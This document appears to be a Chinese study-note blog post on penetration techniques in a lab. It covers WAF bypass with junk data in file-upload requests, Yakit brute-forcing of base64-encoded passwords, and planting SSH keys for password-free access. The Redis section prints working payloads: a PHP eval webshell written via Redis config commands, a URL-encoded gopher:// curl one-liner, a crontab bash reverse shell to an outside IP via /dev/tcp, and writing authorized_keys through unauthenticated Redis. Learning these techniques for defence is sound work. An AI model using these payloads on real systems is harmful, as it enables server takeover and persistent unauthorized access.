waf、yakit和ssh免密登录

2023-10-20 00:44
文章标签 登录 ssh 免密 waf yakit

本文主要是介绍waf、yakit和ssh免密登录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

WAF安全狗

脏数据适用于所有漏洞绕过waf,但是前提条件垃圾信息必须放在危险信息前,是不能打断原有数据包的结构,不能影响后端对数据包的解析。

以DVWA靶场文件上传为例

新建php文件

image-20231018171929267

上传文件被安全狗拦截

image-20231018172117852

使用bp抓包查看

image-20231018172314404

在数据包Content-Disposition字段中的form-data后添加分号,在分号后添加脏数据;如果不加分号添加脏数据可能会打乱原有数据包的结构。文件上传成功。

image-20231018172943017

YAKIT

暴力破解

账户密码明文传输

客户防护:base64编码,加密。

前端base64编码加密,后端base64编码解密

抓包抓到的是编码以后的数据包,进行账密爆破时,密码字典也需要进行编码才能进行爆破。

新建x.php文档

<?php $a=base64_decode($_GET['passwd']);if($a=="admin"){echo "welcom";
}else{echo "error";
}?>

端口设置

点击MITM

image-20231018175722575

image-20231018175926301

image-20231018182845097

更改浏览器代理

image-20231018184713485

使用yt代理访问x.php页面

image-20231018185229093

在历史中右击数据包选择WEB FUZZER,

image-20231018185744145

选择admin右键,插入模糊字典标签,选择user top10。

image-20231018190014794

image-20231018190049796

image-20231018190224153

响应结果一致是因为后端做了base64解码,字典中内容是铭文的,被编码后后端不认识,要在使用的字典前添加base64编码。

image-20231018190500054

{{base64({{x(user_top10)}})}},爆破出密码为admin

image-20231018190725353

image-20231018190858203

之后使用抓包查看数据包时,如果流量内容是base64编码的就使用yakit爆破。yakit中也有dnslog,在测试响应的时候可以使用yakit自带的dnslog进行测试。

image-20231018191402483

image-20231018191441420

SSH免密登录

Linux服务器一定开放ssh端口。

ssh采用非对称加密,存在公钥私钥

将自己的公钥写入受害者的ssh目录中的时候,登录受害者ssh就可以不使用密码。

以kali主机为失陷主机为例

首先开启ssh服务

ss -antpl
systemctl start ssh.service
ss -antpl
pwd		#家目录的路径

image-20231018192334617

image-20231018192909440

登录kali主机的用户家目录下有.ssh目录,其中有已通过认证的ssh密钥,我们的公钥就可以写入.ssh目录中。

注意:在没有登陆过ssh的时候需要触发以下的登录才会出现.ssh目录。

ssh kali@127.0.0.1

进入.ssh目录,看到里面的已通过认证的主机的公钥

模拟命令执行写入公钥

在windows中安装Git,安装完成后Windows就可以使用ssh客户端。

写入公钥可以通过一句话木马或代码执行或redis写入公钥

找到用户目录,在目录中右击看到有一个Git Bash Here点击进入命令执行界面

ssh-keygen -t rsa

image-20231018194202261

执行成功后出现.ssh目录

image-20231018194244523

进入.ssh目录可以看到有两个文件,id_rsa.pub就是公钥。

image-20231018194354820

查看公钥内容

image-20231018194507557

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcFgp7y4ZigaHArZlRjLHJ+hhBbFf1Q3HeuLly5HoUoSaXUUF6V7/dT57XQqJgqAnnAjc3LOvm9CzGAokKYR51Tony46RrpxSG8PlGpQhGsiU0JI9VWuPXMzzPFaK/1gfsctGIaihNh3Fosx7VKcqLn5sBRl6+FjqfqUtcbYAjHNkAnvb5bGBsb/+9XpUAvk1t3aHjvAz9oiGSl6L4PRi7E2mcramR4QnkWd/63KzaI38rsgnYbzFSiDfN0VxsKmS0jvjw92sBL1N9WaMyouNQWHTkdZKNSgWpakUayLpIc+Gx4vepaCNh/WV+07mVh39L6FnOt7bkCVEmyLoWaMzVRc3x6prDoWFnuRwB2C+yRctwD4tX+6AZ0QODOYFyraP1MDYcaDFm1rPhvNwX0Xhq+jfiZshQDU4iq1veVDBjHcmpsJOQ8YoiCRfLgQ0c31oCCX+FH+bpcF65LQxPsIbISryjp4tZolgmtNFvsE/cLzz87gcIS7cUnOSirGu33ok= zs@DESKTOP-6DBQCEP

在.ssh目录中输入

vim authorized_keys

将公钥复制进去

image-20231018195105342

image-20231018195051783

image-20231018195130415

在Windows中的Git命令行中输入

ssh root@192.168.16.132

image-20231018195446366

image-20231018195521308

redis未授权写公钥

redis未授权

    高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。

安装redis

kali换源

vim /etc/apt/sources.list
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free#更新索引文件
apt-get update#更新软件包
apt-get upgrade#安装redis
apt-get install redis-server
#启动
/usr/bin/redis-server

Gopher协议

支持发出GET、POST请求

gopher 协议可以在特定的端口上进行相关命令的执行

gopher://IP:port/_{TCP/IP data stream}

利用redis写文件

image-20231018213244945

redis-cli -h [ip]

这条命令是用来连接到 Redis 数据库的命令行界面(CLI)。其中的"-h [ip]"参数用于指定要连接的 Redis 服务器的 IP 地址。通过运行这个命令,你可以在命令行中与 Redis 数据库进行交互,执行各种操作,如设置键值对、获取值、删除键等。

写shell
aaaset 1 "<?php eval($_POST[1]); ?>" 
config set dir /var/www/html/ 
config set dbfilename shell.php 
savebbburl编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
config set dir /etc 
config set dbfilename crontab 
saveredis写入ssh公钥config set dir /root/.ssh/ 
config set dbfilename authorized_keys 
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC" 
save 
quit

这篇关于waf、yakit和ssh免密登录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/243490

相关文章

SpringBoot后端实现小程序微信登录功能实现

《SpringBoot后端实现小程序微信登录功能实现》微信小程序登录是开发者通过微信提供的身份验证机制,获取用户唯一标识(openid)和会话密钥(session_key)的过程,这篇文章给大家介绍S... 目录SpringBoot实现微信小程序登录简介SpringBoot后端实现微信登录SpringBoo

CentOS7更改默认SSH端口与配置指南

《CentOS7更改默认SSH端口与配置指南》SSH是Linux服务器远程管理的核心工具,其默认监听端口为22,由于端口22众所周知,这也使得服务器容易受到自动化扫描和暴力破解攻击,本文将系统性地介绍... 目录引言为什么要更改 SSH 默认端口?步骤详解:如何更改 Centos 7 的 SSH 默认端口1

kali linux 无法登录root的问题及解决方法

《kalilinux无法登录root的问题及解决方法》:本文主要介绍kalilinux无法登录root的问题及解决方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,... 目录kali linux 无法登录root1、问题描述1.1、本地登录root1.2、ssh远程登录root2、

springboot security验证码的登录实例

《springbootsecurity验证码的登录实例》:本文主要介绍springbootsecurity验证码的登录实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,... 目录前言代码示例引入依赖定义验证码生成器定义获取验证码及认证接口测试获取验证码登录总结前言在spring

最新Spring Security实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)

《最新SpringSecurity实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)》本章节介绍了如何通过SpringSecurity实现从配置自定义登录页面、表单登录处理逻辑的配置,并简单模拟... 目录前言改造准备开始登录页改造自定义用户名密码登陆成功失败跳转问题自定义登出前后端分离适配方案结语前言

Oracle登录时忘记用户名或密码该如何解决

《Oracle登录时忘记用户名或密码该如何解决》:本文主要介绍如何在Oracle12c中忘记用户名和密码时找回或重置用户账户信息,文中通过代码介绍的非常详细,对同样遇到这个问题的同学具有一定的参... 目录一、忘记账户:二、忘记密码:三、详细情况情况 1:1.1. 登录到数据库1.2. 查看当前用户信息1.

MobaXterm远程登录工具功能与应用小结

《MobaXterm远程登录工具功能与应用小结》MobaXterm是一款功能强大的远程终端软件,主要支持SSH登录,拥有多种远程协议,实现跨平台访问,它包括多会话管理、本地命令行执行、图形化界面集成和... 目录1. 远程终端软件概述1.1 远程终端软件的定义与用途1.2 远程终端软件的关键特性2. 支持的

Oracle数据库如何切换登录用户(system和sys)

《Oracle数据库如何切换登录用户(system和sys)》文章介绍了如何使用SQL*Plus工具登录Oracle数据库的system用户,包括打开登录入口、输入用户名和口令、以及切换到sys用户的... 目录打开登录入口登录system用户总结打开登录入口win+R打开运行对话框,输php入:sqlp

python实现自动登录12306自动抢票功能

《python实现自动登录12306自动抢票功能》随着互联网技术的发展,越来越多的人选择通过网络平台购票,特别是在中国,12306作为官方火车票预订平台,承担了巨大的访问量,对于热门线路或者节假日出行... 目录一、遇到的问题?二、改进三、进阶–展望总结一、遇到的问题?1.url-正确的表头:就是首先ur

Security OAuth2 单点登录流程

单点登录(英语:Single sign-on,缩写为 SSO),又译为单一签入,一种对于许多相互关连,但是又是各自独立的软件系统,提供访问控制的属性。当拥有这项属性时,当用户登录时,就可以获取所有系统的访问权限,不用对每个单一系统都逐一登录。这项功能通常是以轻型目录访问协议(LDAP)来实现,在服务器上会将用户信息存储到LDAP数据库中。相同的,单一注销(single sign-off)就是指